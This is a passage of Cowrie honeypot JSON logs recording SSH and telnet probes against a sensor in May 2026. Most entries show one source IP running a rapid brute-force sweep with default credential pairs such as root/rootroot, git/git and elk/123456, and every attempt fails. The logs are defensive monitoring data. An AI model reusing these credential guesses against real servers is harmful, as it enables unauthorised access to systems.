0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:06.892627Z","src_ip":"45.156.87.254","session":"e9d7f82caaf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"azureuser","message":"login attempt [azureuser/azureuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:07.295964Z","src_ip":"45.156.87.254","session":"e9d7f82caaf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:08.391563Z","src_ip":"45.156.87.254","session":"e9d7f82caaf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":44342,"dst_ip":"159.203.135.109","dst_port":22,"session":"73f9a1738c0e","protocol":"ssh","message":"New connection: 45.156.87.254:44342 (159.203.135.109:22) [session: 73f9a1738c0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:11.405673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:11.465044Z","src_ip":"45.156.87.254","session":"73f9a1738c0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:11.540895Z","src_ip":"45.156.87.254","session":"73f9a1738c0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootroot","message":"login attempt [root/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:11.922381Z","src_ip":"45.156.87.254","session":"73f9a1738c0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:13.013637Z","src_ip":"45.156.87.254","session":"73f9a1738c0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":57018,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e5af4918f6e","protocol":"telnet","message":"New connection: 20.123.41.163:57018 (10.17.0.5:23) [session: 0e5af4918f6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:15.028121Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":44366,"dst_ip":"159.203.135.109","dst_port":22,"session":"59e87d992e6e","protocol":"ssh","message":"New connection: 45.156.87.254:44366 (159.203.135.109:22) [session: 59e87d992e6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:16.006539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:16.100426Z","src_ip":"45.156.87.254","session":"59e87d992e6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:16.104420Z","src_ip":"45.156.87.254","session":"59e87d992e6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"plex","password":"plex","message":"login attempt [plex/plex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:16.599659Z","src_ip":"45.156.87.254","session":"59e87d992e6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:17.689484Z","src_ip":"45.156.87.254","session":"59e87d992e6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":39824,"dst_ip":"159.203.135.109","dst_port":22,"session":"273182791295","protocol":"ssh","message":"New connection: 45.156.87.254:39824 (159.203.135.109:22) [session: 273182791295]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:21.781409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:21.786866Z","src_ip":"45.156.87.254","session":"273182791295","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:21.874341Z","src_ip":"45.156.87.254","session":"273182791295","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user9","password":"user9","message":"login attempt [user9/user9] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:22.137352Z","src_ip":"45.156.87.254","session":"273182791295","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:23.233052Z","src_ip":"45.156.87.254","session":"273182791295","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":39840,"dst_ip":"159.203.135.109","dst_port":22,"session":"8616e04ac49d","protocol":"ssh","message":"New connection: 45.156.87.254:39840 (159.203.135.109:22) [session: 8616e04ac49d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:27.104687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:27.108854Z","src_ip":"45.156.87.254","session":"8616e04ac49d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:27.199302Z","src_ip":"45.156.87.254","session":"8616e04ac49d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bob","password":"bob","message":"login attempt [bob/bob] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:27.464265Z","src_ip":"45.156.87.254","session":"8616e04ac49d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:28.554759Z","src_ip":"45.156.87.254","session":"8616e04ac49d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":37232,"dst_ip":"10.17.0.5","dst_port":23,"session":"8939ce261fe7","protocol":"telnet","message":"New connection: 104.245.105.2:37232 (10.17.0.5:23) [session: 8939ce261fe7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:32.088032Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":56498,"dst_ip":"159.203.135.109","dst_port":22,"session":"beebc25cba55","protocol":"ssh","message":"New connection: 45.156.87.254:56498 (159.203.135.109:22) [session: beebc25cba55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:32.583650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:32.587914Z","src_ip":"45.156.87.254","session":"beebc25cba55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:32.672191Z","src_ip":"45.156.87.254","session":"beebc25cba55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git","message":"login attempt [git/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:33.043658Z","src_ip":"45.156.87.254","session":"beebc25cba55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:34.133266Z","src_ip":"45.156.87.254","session":"beebc25cba55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":56532,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d906e8fbfd0","protocol":"ssh","message":"New connection: 45.156.87.254:56532 (159.203.135.109:22) [session: 3d906e8fbfd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:37.229398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:37.237752Z","src_ip":"45.156.87.254","session":"3d906e8fbfd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:37.323112Z","src_ip":"45.156.87.254","session":"3d906e8fbfd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"private","password":"private","message":"login attempt [private/private] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:37.620267Z","src_ip":"45.156.87.254","session":"3d906e8fbfd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:38.715194Z","src_ip":"45.156.87.254","session":"3d906e8fbfd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":53696,"dst_ip":"159.203.135.109","dst_port":22,"session":"d377ddf2cf7f","protocol":"ssh","message":"New connection: 45.156.87.254:53696 (159.203.135.109:22) [session: d377ddf2cf7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:42.137995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:42.143396Z","src_ip":"45.156.87.254","session":"d377ddf2cf7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:42.227778Z","src_ip":"45.156.87.254","session":"d377ddf2cf7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elk","password":"123456","message":"login attempt [elk/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:42.477635Z","src_ip":"45.156.87.254","session":"d377ddf2cf7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:43.567080Z","src_ip":"45.156.87.254","session":"d377ddf2cf7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.16.214.226","src_port":46404,"dst_ip":"10.17.0.5","dst_port":22,"session":"cdc850deed01","protocol":"ssh","message":"New connection: 185.16.214.226:46404 (10.17.0.5:22) [session: cdc850deed01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:45.749096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:45.758805Z","src_ip":"185.16.214.226","session":"cdc850deed01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":45728,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c7244314dca","protocol":"telnet","message":"New connection: 104.245.105.2:45728 (10.17.0.5:23) [session: 8c7244314dca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:45.841477Z"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:45.885288Z","src_ip":"185.16.214.226","session":"cdc850deed01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"terrariaserver","password":"terrariaserver","message":"login attempt [terrariaserver/terrariaserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:46.421920Z","src_ip":"185.16.214.226","session":"cdc850deed01","protocol":"ssh"}
